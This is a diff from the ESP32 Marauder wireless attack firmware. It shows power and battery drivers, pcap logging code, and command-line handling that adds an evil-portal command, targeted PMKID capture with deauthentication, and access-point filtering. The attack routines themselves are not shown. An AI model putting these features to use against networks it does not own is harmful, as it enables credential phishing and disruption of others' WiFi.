AXP192::AXP192() {
}
void AXP192::begin(void) {
Wire1.begin(21, 22);
Wire1.setClock(400000);
// Set LDO2 & LDO3(TFT_LED & TFT) 3.0V
Write1Byte(0x28, 0xcc);
// Set ADC to All Enable
Write1Byte(0x82, 0xff);
// Bat charge voltage to 4.2, Current 100MA
Write1Byte(0x33, 0xc0);
// Enable Bat,ACIN,VBUS,APS adc
Write1Byte(0x82, 0xff);
// Enable Ext, LDO2, LDO3, DCDC1
Write1Byte(0x12, Read8bit(0x12) | 0x4D);
// 128ms power on, 4s power off
Write1Byte(0x36, 0x0C);
// Set RTC voltage to 3.3V
Write1Byte(0x91, 0xF0);
// Set GPIO0 to LDO
Write1Byte(0x90, 0x02);
// Disable vbus hold limit
Write1Byte(0x30, 0x80);
// Set temperature protection
Write1Byte(0x39, 0xfc);
// Enable RTC BAT charge
Write1Byte(0x35, 0xa2);
// Enable bat detection
Write1Byte(0x32, 0x46);
// ScreenBreath(80);
}
void AXP192::Write1Byte(uint8_t Addr, uint8_t Data) {
Wire1.beginTransmission(0x34);
Wire1.write(Addr);
Wire1.write(Data);
Wire1.endTransmission();
}
uint8_t AXP192::Read8bit(uint8_t Addr) {
Wire1.beginTransmission(0x34);
Wire1.write(Addr);
Wire1.endTransmission();
Wire1.requestFrom(0x34, 1);
return Wire1.read();
}
uint16_t AXP192::Read12Bit(uint8_t Addr) {
uint16_t Data = 0;
uint8_t buf[2];
ReadBuff(Addr, 2, buf);
Data = ((buf[0] << 4) + buf[1]); //
return Data;
}
uint16_t AXP192::Read13Bit(uint8_t Addr) {
uint16_t Data = 0;
uint8_t buf[2];
ReadBuff(Addr, 2, buf);
Data = ((buf[0] << 5) + buf[1]); //
return Data;
}
uint16_t AXP192::Read16bit(uint8_t Addr) {
uint16_t ReData = 0;
Wire1.beginTransmission(0x34);
Wire1.write(Addr);
Wire1.endTransmission();
Wire1.requestFrom(0x34, 2);
for (int i = 0; i < 2; i++) {
ReData <<= 8;
ReData |= Wire1.read();
}
return ReData;
}
uint32_t AXP192::Read24bit(uint8_t Addr) {
uint32_t ReData = 0;
Wire1.beginTransmission(0x34);
Wire1.write(Addr);
Wire1.endTransmission();
Wire1.requestFrom(0x34, 3);
for (int i = 0; i < 3; i++) {
ReData <<= 8;
ReData |= Wire1.read();
}
return ReData;
}
uint32_t AXP192::Read32bit(uint8_t Addr) {
uint32_t ReData = 0;
Wire1.beginTransmission(0x34);
Wire1.write(Addr);
Wire1.endTransmission();
Wire1.requestFrom(0x34, 4);
for (int i = 0; i < 4; i++) {
ReData <<= 8;
ReData |= Wire1.read();
}
return ReData;
}
void AXP192::ReadBuff(uint8_t Addr, uint8_t Size, uint8_t *Buff) {
Wire1.beginTransmission(0x34);
Wire1.write(Addr);
Wire1.endTransmission();
Wire1.requestFrom(0x34, (int)Size);
for (int i = 0; i < Size; i++) {
*(Buff + i) = Wire1.read();
}
}
void AXP192::ScreenBreath(int brightness) {
if (brightness > 100 || brightness < 0) return;
int vol = map(brightness, 0, 100, 2500, 3200);
vol = (vol < 1800) ? 0 : (vol - 1800) / 100;
uint8_t buf = Read8bit(0x28);
Write1Byte(0x28, ((buf & 0x0f) | ((uint16_t)vol << 4)));
}
void AXP192::ScreenSwitch(bool state) {
uint8_t brightness;
if (state == false) {
brightness = 0;
} else if (state == true) {
brightness = 12;
}
uint8_t buf = Read8bit(0x28);
Write1Byte(0x28, ((buf & 0x0f) | (brightness << 4)));
}
bool AXP192::GetBatState() {
if (Read8bit(0x01) | 0x20)
return true;
else
return false;
}
//---------coulombcounter_from_here---------
// enable: void EnableCoulombcounter(void);
// disable: void DisableCOulombcounter(void);
// stop: void StopCoulombcounter(void);
// clear: void ClearCoulombcounter(void);
// get charge data: uint32_t GetCoulombchargeData(void);
// get discharge data: uint32_t GetCoulombdischargeData(void);
// get coulomb val affter calculation: float GetCoulombData(void);
//------------------------------------------
void AXP192::EnableCoulombcounter(void) {
Write1Byte(0xB8, 0x80);
}
void AXP192::DisableCoulombcounter(void) {
Write1Byte(0xB8, 0x00);
}
void AXP192::StopCoulombcounter(void) {
Write1Byte(0xB8, 0xC0);
}
void AXP192::ClearCoulombcounter(void) {
Write1Byte(0xB8, 0xA0);
}
uint32_t AXP192::GetCoulombchargeData(void) {
return Read32bit(0xB0);
}
uint32_t AXP192::GetCoulombdischargeData(void) {
return Read32bit(0xB4);
}
float AXP192::GetCoulombData(void) {
uint32_t coin = 0;
uint32_t coout = 0;
coin = GetCoulombchargeData();
coout = GetCoulombdischargeData();
// c = 65536 * current_LSB * (coin - coout) / 3600 / ADC rate
// Adc rate can be read from 84H ,change this variable if you change the ADC
// reate
float ccc = 65536 * 0.5 * (int32_t)(coin - coout) / 3600.0 / 25.0;
return ccc;
}
//----------coulomb_end_at_here----------
uint16_t AXP192::GetVbatData(void) {
uint16_t vbat = 0;
uint8_t buf[2];
ReadBuff(0x78, 2, buf);
vbat = ((buf[0] << 4) + buf[1]); // V
return vbat;
}
uint16_t AXP192::GetVinData(void) {
uint16_t vin = 0;
uint8_t buf[2];
ReadBuff(0x56, 2, buf);
vin = ((buf[0] << 4) + buf[1]); // V
return vin;
}
uint16_t AXP192::GetIinData(void) {
uint16_t iin = 0;
uint8_t buf[2];
ReadBuff(0x58, 2, buf);
iin = ((buf[0] << 4) + buf[1]);
return iin;
}
uint16_t AXP192::GetVusbinData(void) {
uint16_t vin = 0;
uint8_t buf[2];
ReadBuff(0x5a, 2, buf);
vin = ((buf[0] << 4) + buf[1]); // V
return vin;
}
uint16_t AXP192::GetIusbinData(void) {
uint16_t iin = 0;
uint8_t buf[2];
ReadBuff(0x5C, 2, buf);
iin = ((buf[0] << 4) + buf[1]);
return iin;
}
uint16_t AXP192::GetIchargeData(void) {
uint16_t icharge = 0;
uint8_t buf[2];
ReadBuff(0x7A, 2, buf);
icharge = (buf[0] << 5) + buf[1];
return icharge;
}
uint16_t AXP192::GetIdischargeData(void) {
uint16_t idischarge = 0;
uint8_t buf[2];
ReadBuff(0x7C, 2, buf);
idischarge = (buf[0] << 5) + buf[1];
return idischarge;
}
uint16_t AXP192::GetTempData(void) {
uint16_t temp = 0;
uint8_t buf[2];
ReadBuff(0x5e, 2, buf);
temp = ((buf[0] << 4) + buf[1]);
return temp;
}
uint32_t AXP192::GetPowerbatData(void) {
uint32_t power = 0;
uint8_t buf[3];
ReadBuff(0x70, 2, buf);
power = (buf[0] << 16) + (buf[1] << 8) + buf[2];
return power;
}
uint16_t AXP192::GetVapsData(void) {
uint16_t vaps = 0;
uint8_t buf[2];
ReadBuff(0x7e, 2, buf);
vaps = ((buf[0] << 4) + buf[1]);
return vaps;
}
void AXP192::SetSleep(void) {
uint8_t buf = Read8bit(0x31);
buf = (1 << 3) | buf;
Write1Byte(0x31, buf);
Write1Byte(0x90, 0x00);
Write1Byte(0x12, 0x09);
// Write1Byte(0x12, 0x00);
Write1Byte(0x12, Read8bit(0x12) & 0xA1); // Disable all outputs but DCDC1
}
uint8_t AXP192::GetWarningLeve(void) {
Wire1.beginTransmission(0x34);
Wire1.write(0x47);
Wire1.endTransmission();
Wire1.requestFrom(0x34, 1);
uint8_t buf = Wire1.read();
return (buf & 0x01);
}
// -- sleep
void AXP192::DeepSleep(uint64_t time_in_us) {
SetSleep();
if (time_in_us > 0) {
esp_sleep_enable_timer_wakeup(time_in_us);
} else {
esp_sleep_disable_wakeup_source(ESP_SLEEP_WAKEUP_TIMER);
}
(time_in_us == 0) ? esp_deep_sleep_start() : esp_deep_sleep(time_in_us);
}
void AXP192::LightSleep(uint64_t time_in_us) {
SetSleep();
if (time_in_us > 0) {
esp_sleep_enable_timer_wakeup(time_in_us);
} else {
esp_sleep_disable_wakeup_source(ESP_SLEEP_WAKEUP_TIMER);
}
esp_light_sleep_start();
}
// 0 not press, 0x01 long press, 0x02 press
uint8_t AXP192::GetBtnPress() {
uint8_t state = Read8bit(0x46);
if (state) {
Write1Byte(0x46, 0x03);
}
return state;
}
uint8_t AXP192::GetWarningLevel(void) {
return Read8bit(0x47) & 0x01;
}
float AXP192::GetBatVoltage() {
float ADCLSB = 1.1 / 1000.0;
uint16_t ReData = Read12Bit(0x78);
return ReData * ADCLSB;
}
float AXP192::GetBatCurrent() {
float ADCLSB = 0.5;
uint16_t CurrentIn = Read13Bit(0x7A);
uint16_t CurrentOut = Read13Bit(0x7C);
return (CurrentIn - CurrentOut) * ADCLSB;
}
float AXP192::GetVinVoltage() {
float ADCLSB = 1.7 / 1000.0;
uint16_t ReData = Read12Bit(0x56);
return ReData * ADCLSB;
}
float AXP192::GetVinCurrent() {
float ADCLSB = 0.625;
uint16_t ReData = Read12Bit(0x58);
return ReData * ADCLSB;
}
float AXP192::GetVBusVoltage() {
float ADCLSB = 1.7 / 1000.0;
uint16_t ReData = Read12Bit(0x5A);
return ReData * ADCLSB;
}
float AXP192::GetVBusCurrent() {
float ADCLSB = 0.375;
uint16_t ReData = Read12Bit(0x5C);
return ReData * ADCLSB;
}
float AXP192::GetTempInAXP192() {
float ADCLSB = 0.1;
const float OFFSET_DEG_C = -144.7;
uint16_t ReData = Read12Bit(0x5E);
return OFFSET_DEG_C + ReData * ADCLSB;
}
float AXP192::GetBatPower() {
float VoltageLSB = 1.1;
float CurrentLCS = 0.5;
uint32_t ReData = Read24bit(0x70);
return VoltageLSB * CurrentLCS * ReData / 1000.0;
}
float AXP192::GetBatChargeCurrent() {
float ADCLSB = 0.5;
uint16_t ReData = Read12Bit(0x7A);
return ReData * ADCLSB;
}
float AXP192::GetAPSVoltage() {
float ADCLSB = 1.4 / 1000.0;
uint16_t ReData = Read12Bit(0x7E);
return ReData * ADCLSB;
}
float AXP192::GetBatCoulombInput() {
uint32_t ReData = Read32bit(0xB0);
return ReData * 65536 * 0.5 / 3600 / 25.0;
}
float AXP192::GetBatCoulombOut() {
uint32_t ReData = Read32bit(0xB4);
return ReData * 65536 * 0.5 / 3600 / 25.0;
}
void AXP192::SetCoulombClear() {
Write1Byte(0xB8, 0x20);
}
void AXP192::SetLDO2(bool State) {
uint8_t buf = Read8bit(0x12);
if (State == true)
buf = (1 << 2) | buf;
else
buf = ~(1 << 2) & buf;
Write1Byte(0x12, buf);
}
// Cut all power, except for LDO1 (RTC)
void AXP192::PowerOff() {
Write1Byte(0x32, Read8bit(0x32) | 0x80); // MSB for Power Off
}
void AXP192::SetPeripherialsPower(uint8_t state) {
if (!state)
Write1Byte(0x10, Read8bit(0x10) & 0XFB);
else if (state)
Write1Byte(0x10, Read8bit(0x10) | 0X04);
// uint8_t data;
// Set EXTEN to enable 5v boost
}

81
esp32_marauder/AXP192.h Normal file
View File

@@ -0,0 +1,81 @@
#ifndef __AXP192_H__
#define __AXP192_H__
#include <Arduino.h>
#include <Wire.h>
#define SLEEP_MSEC(us) (((uint64_t)us) * 1000L)
#define SLEEP_SEC(us) (((uint64_t)us) * 1000000L)
#define SLEEP_MIN(us) (((uint64_t)us) * 60L * 1000000L)
#define SLEEP_HR(us) (((uint64_t)us) * 60L * 60L * 1000000L)
class AXP192 {
public:
AXP192();
void begin(void);
void ScreenBreath(int brightness);
void ScreenSwitch(bool state);
bool GetBatState();
void EnableCoulombcounter(void);
void DisableCoulombcounter(void);
void StopCoulombcounter(void);
void ClearCoulombcounter(void);
uint32_t GetCoulombchargeData(void);
uint32_t GetCoulombdischargeData(void);
float GetCoulombData(void);
uint16_t GetVbatData(void) __attribute__((deprecated));
uint16_t GetIchargeData(void) __attribute__((deprecated));
uint16_t GetIdischargeData(void) __attribute__((deprecated));
uint16_t GetTempData(void) __attribute__((deprecated));
uint32_t GetPowerbatData(void) __attribute__((deprecated));
uint16_t GetVinData(void) __attribute__((deprecated));
uint16_t GetIinData(void) __attribute__((deprecated));
uint16_t GetVusbinData(void) __attribute__((deprecated));
uint16_t GetIusbinData(void) __attribute__((deprecated));
uint16_t GetVapsData(void) __attribute__((deprecated));
uint8_t GetBtnPress(void);
// -- sleep
void SetSleep(void);
void DeepSleep(uint64_t time_in_us = 0);
void LightSleep(uint64_t time_in_us = 0);
uint8_t GetWarningLeve(void);
public:
// void SetChargeVoltage( uint8_t );
// void SetChargeCurrent( uint8_t );
float GetBatVoltage();
float GetBatCurrent();
float GetVinVoltage();
float GetVinCurrent();
float GetVBusVoltage();
float GetVBusCurrent();
float GetTempInAXP192();
float GetBatPower();
float GetBatChargeCurrent();
float GetAPSVoltage();
float GetBatCoulombInput();
float GetBatCoulombOut();
uint8_t GetWarningLevel(void);
void SetCoulombClear();
void SetLDO2(bool State);
void SetPeripherialsPower(uint8_t state);
// -- Power Off
void PowerOff();
public:
void Write1Byte(uint8_t Addr, uint8_t Data);
uint8_t Read8bit(uint8_t Addr);
uint16_t Read12Bit(uint8_t Addr);
uint16_t Read13Bit(uint8_t Addr);
uint16_t Read16bit(uint8_t Addr);
uint32_t Read24bit(uint8_t Addr);
uint32_t Read32bit(uint8_t Addr);
void ReadBuff(uint8_t Addr, uint8_t Size, uint8_t *Buff);
};
#endif

File diff suppressed because one or more lines are too long

View File

@@ -5,45 +5,39 @@ BatteryInterface::BatteryInterface() {
}
void BatteryInterface::main(uint32_t currentTime) {
#ifndef MARAUDER_FLIPPER
if (currentTime != 0) {
if (currentTime - initTime >= 3000) {
//Serial.println("Checking Battery Level");
this->initTime = millis();
int8_t new_level = this->getBatteryLevel();
//this->battery_level = this->getBatteryLevel();
if (this->battery_level != new_level) {
Serial.println(text00 + (String)new_level);
this->battery_level = new_level;
}
if (currentTime != 0) {
if (currentTime - initTime >= 3000) {
//Serial.println("Checking Battery Level");
this->initTime = millis();
int8_t new_level = this->getBatteryLevel();
//this->battery_level = this->getBatteryLevel();
if (this->battery_level != new_level) {
Serial.println(text00 + (String)new_level);
this->battery_level = new_level;
}
}
#endif
}
}
void BatteryInterface::RunSetup() {
#ifndef MARAUDER_FLIPPER
Wire.begin(I2C_SDA, I2C_SCL);
this->initTime = millis();
#endif
Wire.begin(I2C_SDA, I2C_SCL);
this->initTime = millis();
}
int8_t BatteryInterface::getBatteryLevel() {
#ifndef MARAUDER_FLIPPER
Wire.beginTransmission(IP5306_ADDR);
Wire.write(0x78);
if (Wire.endTransmission(false) == 0 &&
Wire.requestFrom(0x75, 1)) {
this->i2c_supported = true;
switch (Wire.read() & 0xF0) {
case 0xE0: return 25;
case 0xC0: return 50;
case 0x80: return 75;
case 0x00: return 100;
default: return 0;
}
Wire.beginTransmission(IP5306_ADDR);
Wire.write(0x78);
if (Wire.endTransmission(false) == 0 &&
Wire.requestFrom(0x75, 1)) {
this->i2c_supported = true;
switch (Wire.read() & 0xF0) {
case 0xE0: return 25;
case 0xC0: return 50;
case 0x80: return 75;
case 0x00: return 100;
default: return 0;
}
this->i2c_supported = false;
return -1;
#endif
}
this->i2c_supported = false;
return -1;
}

View File

@@ -5,9 +5,7 @@
#include "configs.h"
#ifndef MARAUDER_FLIPPER
#include <Wire.h>
#endif
#include <Wire.h>
#define I2C_SDA 33
#define I2C_SCL 22

View File

@@ -6,32 +6,44 @@ Buffer::Buffer(){
bufB = (uint8_t*)malloc(BUF_SIZE);
}
void Buffer::open(fs::FS* fs, String fn){
void Buffer::createPcapFile(fs::FS* fs, String fn, bool log){
int i=0;
do{
fileName = "/"+fn+"_"+(String)i+".pcap";
i++;
} while(fs->exists(fileName));
if (!log) {
do{
fileName = "/"+fn+"_"+(String)i+".pcap";
i++;
} while(fs->exists(fileName));
}
else {
do{
fileName = "/"+fn+"_"+(String)i+".log";
i++;
} while(fs->exists(fileName));
}
Serial.println(fileName);
file = fs->open(fileName, FILE_WRITE);
file.close();
}
void Buffer::open(bool log){
bufSizeA = 0;
bufSizeB = 0;
writing = true;
write(uint32_t(0xa1b2c3d4)); // magic number
write(uint16_t(2)); // major version number
write(uint16_t(4)); // minor version number
write(int32_t(0)); // GMT to local correction
write(uint32_t(0)); // accuracy of timestamps
write(uint32_t(SNAP_LEN)); // max length of captured packets, in octets
write(uint32_t(105)); // data link type
//useSD = true;
bufSizeB = 0;
writing = true;
if (!log) {
write(uint32_t(0xa1b2c3d4)); // magic number
write(uint16_t(2)); // major version number
write(uint16_t(4)); // minor version number
write(int32_t(0)); // GMT to local correction
write(uint32_t(0)); // accuracy of timestamps
write(uint32_t(SNAP_LEN)); // max length of captured packets, in octets
write(uint32_t(105)); // data link type
}
}
void Buffer::close(fs::FS* fs){
@@ -41,8 +53,7 @@ void Buffer::close(fs::FS* fs){
Serial.println(text01);
}
void Buffer::addPacket(uint8_t* buf, uint32_t len){
void Buffer::addPacket(uint8_t* buf, uint32_t len, bool log){
// buffer is full -> drop packet
if((useA && bufSizeA + len >= BUF_SIZE && bufSizeB > 0) || (!useA && bufSizeB + len >= BUF_SIZE && bufSizeA > 0)){
//Serial.print(";");
@@ -63,10 +74,12 @@ void Buffer::addPacket(uint8_t* buf, uint32_t len){
microSeconds -= seconds*1000*1000; // e.g. 45200400 - 45*1000*1000 = 45200400 - 45000000 = 400us (because we only need the offset)
write(seconds); // ts_sec
write(microSeconds); // ts_usec
write(len); // incl_len
write(len); // orig_len
if (!log) {
write(seconds); // ts_sec
write(microSeconds); // ts_usec
write(len); // incl_len
write(len); // orig_len
}
write(buf, len); // packet payload
}
@@ -201,3 +214,34 @@ void Buffer::forceSave(fs::FS* fs){
saving = false;
writing = true;
}
void Buffer::forceSaveSerial() {
uint32_t len = bufSizeA + bufSizeB;
if(len == 0) return;
saving = true;
writing = false;
if(useA){
if(bufSizeB > 0){
Serial1.write(bufB, bufSizeB);
bufSizeB = 0;
}
if(bufSizeA > 0){
Serial1.write(bufA, bufSizeA);
bufSizeA = 0;
}
} else {
if(bufSizeA > 0){
Serial1.write(bufA, bufSizeA);
bufSizeA = 0;
}
if(bufSizeB > 0){
Serial1.write(bufB, bufSizeB);
bufSizeB = 0;
}
}
saving = false;
writing = true;
}

View File

@@ -16,11 +16,13 @@ extern Settings settings_obj;
class Buffer {
public:
Buffer();
void open(fs::FS* fs, String fn = "");
void createPcapFile(fs::FS* fs, String fn = "", bool log = false);
void open(bool log = false);
void close(fs::FS* fs);
void addPacket(uint8_t* buf, uint32_t len);
void addPacket(uint8_t* buf, uint32_t len, bool log = false);
void save(fs::FS* fs);
void forceSave(fs::FS* fs);
void forceSaveSerial();
private:
void write(int32_t n);
void write(uint32_t n);

View File

@@ -9,6 +9,9 @@ void CommandLine::RunSetup() {
Serial.println(F("\n\n--------------------------------\n"));
Serial.println(F(" ESP32 Marauder \n"));
Serial.println(" " + version_number + "\n");
#ifdef WRITE_PACKETS_SERIAL
Serial.println(F(" >> Serial \n"));
#endif
Serial.println(F(" By: justcallmekoko\n"));
Serial.println(F("--------------------------------\n\n"));
@@ -36,21 +39,41 @@ void CommandLine::main(uint32_t currentTime) {
LinkedList<String> CommandLine::parseCommand(String input, char* delim) {
LinkedList<String> cmd_args;
if (input != "") {
char fancy[input.length() + 1] = {};
input.toCharArray(fancy, input.length() + 1);
char* ptr = strtok(fancy, delim);
while (ptr != NULL) {
cmd_args.add(String(ptr));
ptr = strtok(NULL, delim);
bool inQuote = false;
bool inApostrophe = false;
String buffer = "";
for (int i = 0; i < input.length(); i++) {
char c = input.charAt(i);
if (c == '"') {
// Check if the quote is within an apostrophe
if (inApostrophe) {
buffer += c;
} else {
inQuote = !inQuote;
}
} else if (c == '\'') {
// Check if the apostrophe is within a quote
if (inQuote) {
buffer += c;
} else {
inApostrophe = !inApostrophe;
}
} else if (!inQuote && !inApostrophe && strchr(delim, c) != NULL) {
cmd_args.add(buffer);
buffer = "";
} else {
buffer += c;
}
}
// Add the last argument
if (!buffer.isEmpty()) {
cmd_args.add(buffer);
}
return cmd_args;
}
@@ -93,6 +116,85 @@ bool CommandLine::hasSSIDs() {
return true;
}
void CommandLine::showCounts(int selected, int unselected) {
Serial.print((String) selected + " selected");
if (unselected != -1)
Serial.print(", " + (String) unselected + " unselected");
Serial.println("");
}
String CommandLine::toLowerCase(String str) {
String result = str;
for (int i = 0; i < str.length(); i++) {
int charValue = str.charAt(i);
if (charValue >= 65 && charValue <= 90) { // ASCII codes for uppercase letters
charValue += 32;
result.setCharAt(i, char(charValue));
}
}
return result;
}
void CommandLine::filterAccessPoints(String filter) {
int count_selected = 0;
int count_unselected = 0;
// Split the filter string into individual filters
LinkedList<String> filters;
int start = 0;
int end = filter.indexOf(" or ");
while (end != -1) {
filters.add(filter.substring(start, end));
start = end + 4;
end = filter.indexOf(" or ", start);
}
filters.add(filter.substring(start));
// Loop over each access point and check if it matches any of the filters
for (int i = 0; i < access_points->size(); i++) {
bool matchesFilter = false;
for (int j = 0; j < filters.size(); j++) {
String f = toLowerCase(filters.get(j));
if (f.substring(0, 7) == "equals ") {
String ssidEquals = f.substring(7);
if ((ssidEquals.charAt(0) == '\"' && ssidEquals.charAt(ssidEquals.length() - 1) == '\"' && ssidEquals.length() > 1) ||
(ssidEquals.charAt(0) == '\'' && ssidEquals.charAt(ssidEquals.length() - 1) == '\'' && ssidEquals.length() > 1)) {
ssidEquals = ssidEquals.substring(1, ssidEquals.length() - 1);
}
if (access_points->get(i).essid.equalsIgnoreCase(ssidEquals)) {
matchesFilter = true;
break;
}
} else if (f.substring(0, 9) == "contains ") {
String ssidContains = f.substring(9);
if ((ssidContains.charAt(0) == '\"' && ssidContains.charAt(ssidContains.length() - 1) == '\"' && ssidContains.length() > 1) ||
(ssidContains.charAt(0) == '\'' && ssidContains.charAt(ssidContains.length() - 1) == '\'' && ssidContains.length() > 1)) {
ssidContains = ssidContains.substring(1, ssidContains.length() - 1);
}
String essid = toLowerCase(access_points->get(i).essid);
if (essid.indexOf(ssidContains) != -1) {
matchesFilter = true;
break;
}
}
}
// Toggles the selected state of the AP
AccessPoint new_ap = access_points->get(i);
new_ap.selected = matchesFilter;
access_points->set(i, new_ap);
if (matchesFilter) {
count_selected++;
} else {
count_unselected++;
}
}
this->showCounts(count_selected, count_unselected);
}
void CommandLine::runCommand(String input) {
if (input != "")
Serial.println("#" + input);
@@ -111,8 +213,12 @@ void CommandLine::runCommand(String input) {
Serial.println(HELP_CLEARAP_CMD_A);
Serial.println(HELP_REBOOT_CMD);
Serial.println(HELP_UPDATE_CMD_A);
Serial.println(HELP_LS_CMD);
Serial.println(HELP_LED_CMD);
// WiFi sniff/scan
Serial.println(HELP_EVIL_PORTAL_CMD);
Serial.println(HELP_SIGSTREN_CMD);
Serial.println(HELP_SCANAP_CMD);
Serial.println(HELP_SCANSTA_CMD);
Serial.println(HELP_SNIFF_RAW_CMD);
@@ -134,6 +240,7 @@ void CommandLine::runCommand(String input) {
Serial.println(HELP_SEL_CMD_A);
Serial.println(HELP_SSID_CMD_A);
Serial.println(HELP_SSID_CMD_B);
Serial.println(HELP_JOIN_WIFI_CMD);
// Bluetooth sniff/scan
Serial.println(HELP_BT_SNIFF_CMD);
@@ -144,15 +251,15 @@ void CommandLine::runCommand(String input) {
// Stop Scan
if (cmd_args.get(0) == STOPSCAN_CMD) {
if (wifi_scan_obj.currentScanMode == OTA_UPDATE) {
wifi_scan_obj.currentScanMode = WIFI_SCAN_OFF;
//if (wifi_scan_obj.currentScanMode == OTA_UPDATE) {
// wifi_scan_obj.currentScanMode = WIFI_SCAN_OFF;
//#ifdef HAS_SCREEN
// menu_function_obj.changeMenu(menu_function_obj.updateMenu.parentMenu);
//#endif
WiFi.softAPdisconnect(true);
web_obj.shutdownServer();
return;
}
// WiFi.softAPdisconnect(true);
// web_obj.shutdownServer();
// return;
//}
wifi_scan_obj.StartScan(WIFI_SCAN_OFF);
@@ -164,6 +271,47 @@ void CommandLine::runCommand(String input) {
menu_function_obj.changeMenu(menu_function_obj.current_menu);
#endif
}
// LED command
else if (cmd_args.get(0) == LED_CMD) {
int hex_arg = this->argSearch(&cmd_args, "-s");
int pat_arg = this->argSearch(&cmd_args, "-p");
#ifdef PIN
if (hex_arg != -1) {
String hexstring = cmd_args.get(hex_arg + 1);
int number = (int)strtol(&hexstring[1], NULL, 16);
int r = number >> 16;
int g = number >> 8 & 0xFF;
int b = number & 0xFF;
//Serial.println(r);
//Serial.println(g);
//Serial.println(b);
led_obj.setColor(r, g, b);
led_obj.setMode(MODE_CUSTOM);
}
else if (pat_arg != -1) {
String pat_name = cmd_args.get(pat_arg + 1);
pat_name.toLowerCase();
if (pat_name == "rainbow") {
led_obj.setMode(MODE_RAINBOW);
}
}
#else
Serial.println("This hardware does not support neopixel");
#endif
}
// ls command
else if (cmd_args.get(0) == LS_CMD) {
#ifdef HAS_SD
if (cmd_args.size() > 1)
sd_obj.listDir(cmd_args.get(1));
else
Serial.println("You did not provide a dir to list");
#else
Serial.println("SD support disabled, cannot use command");
return;
#endif
}
// Channel command
else if (cmd_args.get(0) == CH_CMD) {
// Search for channel set arg
@@ -246,9 +394,44 @@ void CommandLine::runCommand(String input) {
//// WiFi/Bluetooth Scan/Attack commands
if (!wifi_scan_obj.scanning()) {
// Signal strength scan
if (cmd_args.get(0) == SIGSTREN_CMD) {
Serial.println("Starting Signal Strength Scan. Stop with " + (String)STOPSCAN_CMD);
#ifdef HAS_SCREEN
display_obj.clearScreen();
menu_function_obj.drawStatusBar();
#endif
wifi_scan_obj.StartScan(WIFI_SCAN_EVIL_PORTAL, TFT_MAGENTA);
}
// AP Scan
if (cmd_args.get(0) == SCANAP_CMD) {
else if (cmd_args.get(0) == EVIL_PORTAL_CMD) {
int cmd_sw = this->argSearch(&cmd_args, "-c");
if (cmd_sw != -1) {
String et_command = cmd_args.get(cmd_sw + 1);
if (et_command == "start") {
Serial.println("Starting Evil Portal. Stop with " + (String)STOPSCAN_CMD);
#ifdef HAS_SCREEN
display_obj.clearScreen();
menu_function_obj.drawStatusBar();
#endif
wifi_scan_obj.StartScan(WIFI_SCAN_EVIL_PORTAL, TFT_MAGENTA);
}
else if (et_command == "reset") {
}
else if (et_command == "ack") {
}
else if (et_command == "sethtml") {
}
else if (et_command == "setap") {
}
}
}
else if (cmd_args.get(0) == SCANAP_CMD) {
int full_sw = -1;
#ifdef HAS_SCREEN
display_obj.clearScreen();
@@ -275,6 +458,9 @@ void CommandLine::runCommand(String input) {
}
// Scan stations
else if (cmd_args.get(0) == SCANSTA_CMD) {
if(access_points->size() < 1)
Serial.println("The AP list is empty. Scan APs first with " + (String)SCANAP_CMD);
Serial.println("Starting Station scan. Stop with " + (String)STOPSCAN_CMD);
#ifdef HAS_SCREEN
display_obj.clearScreen();
@@ -331,6 +517,14 @@ void CommandLine::runCommand(String input) {
else if (cmd_args.get(0) == SNIFF_PMKID_CMD) {
int ch_sw = this->argSearch(&cmd_args, "-c");
int d_sw = this->argSearch(&cmd_args, "-d"); // Deauth for pmkid
int l_sw = this->argSearch(&cmd_args, "-l"); // Only run on list
if (l_sw != -1) {
if (!this->apSelected()) {
Serial.println("You don't have any targets selected. Use " + (String)SEL_CMD);
return;
}
}
if (ch_sw != -1) {
wifi_scan_obj.set_channel = cmd_args.get(ch_sw + 1).toInt();
@@ -343,11 +537,15 @@ void CommandLine::runCommand(String input) {
Serial.println("Starting PMKID sniff on channel " + (String)wifi_scan_obj.set_channel + ". Stop with " + (String)STOPSCAN_CMD);
wifi_scan_obj.StartScan(WIFI_SCAN_EAPOL, TFT_VIOLET);
}
else if ((d_sw != -1) && (l_sw != -1)) {
Serial.println("Starting TARGETED PMKID sniff with deauthentication on channel " + (String)wifi_scan_obj.set_channel + ". Stop with " + (String)STOPSCAN_CMD);
wifi_scan_obj.StartScan(WIFI_SCAN_ACTIVE_LIST_EAPOL, TFT_VIOLET);
}
else {
Serial.println("Starting PMKID sniff with deauthentication on channel " + (String)wifi_scan_obj.set_channel + ". Stop with " + (String)STOPSCAN_CMD);
wifi_scan_obj.StartScan(WIFI_SCAN_ACTIVE_EAPOL, TFT_VIOLET);
}
}
}
//// WiFi attack commands
// attack
@@ -487,50 +685,68 @@ void CommandLine::runCommand(String input) {
//// Bluetooth scan/attack commands
// Bluetooth scan
if (cmd_args.get(0) == BT_SNIFF_CMD) {
Serial.println("Starting Bluetooth scan. Stop with " + (String)STOPSCAN_CMD);
#ifdef HAS_SCREEN
display_obj.clearScreen();
menu_function_obj.drawStatusBar();
#ifdef HAS_BT
Serial.println("Starting Bluetooth scan. Stop with " + (String)STOPSCAN_CMD);
#ifdef HAS_SCREEN
display_obj.clearScreen();
menu_function_obj.drawStatusBar();
#endif
wifi_scan_obj.StartScan(BT_SCAN_ALL, TFT_GREEN);
#else
Serial.println("Bluetooth not supported");
#endif
wifi_scan_obj.StartScan(BT_SCAN_ALL, TFT_GREEN);
}
// Bluetooth CC Skimmer scan
else if (cmd_args.get(0) == BT_SKIM_CMD) {
Serial.println("Starting Bluetooth CC Skimmer scan. Stop with " + (String)STOPSCAN_CMD);
#ifdef HAS_SCREEN
display_obj.clearScreen();
menu_function_obj.drawStatusBar();
#ifdef HAS_BT
Serial.println("Starting Bluetooth CC Skimmer scan. Stop with " + (String)STOPSCAN_CMD);
#ifdef HAS_SCREEN
display_obj.clearScreen();
menu_function_obj.drawStatusBar();
#endif
wifi_scan_obj.StartScan(BT_SCAN_SKIMMERS, TFT_MAGENTA);
#else
Serial.println("Bluetooth not supported");
#endif
wifi_scan_obj.StartScan(BT_SCAN_SKIMMERS, TFT_MAGENTA);
}
// Update command
if (cmd_args.get(0) == UPDATE_CMD) {
int w_sw = this->argSearch(&cmd_args, "-w"); // Web update
//int w_sw = this->argSearch(&cmd_args, "-w"); // Web update
int sd_sw = this->argSearch(&cmd_args, "-s"); // SD Update
// Update via OTA
if (w_sw != -1) {
Serial.println("Starting Marauder OTA Update. Stop with " + (String)STOPSCAN_CMD);
wifi_scan_obj.currentScanMode = OTA_UPDATE;
//if (w_sw != -1) {
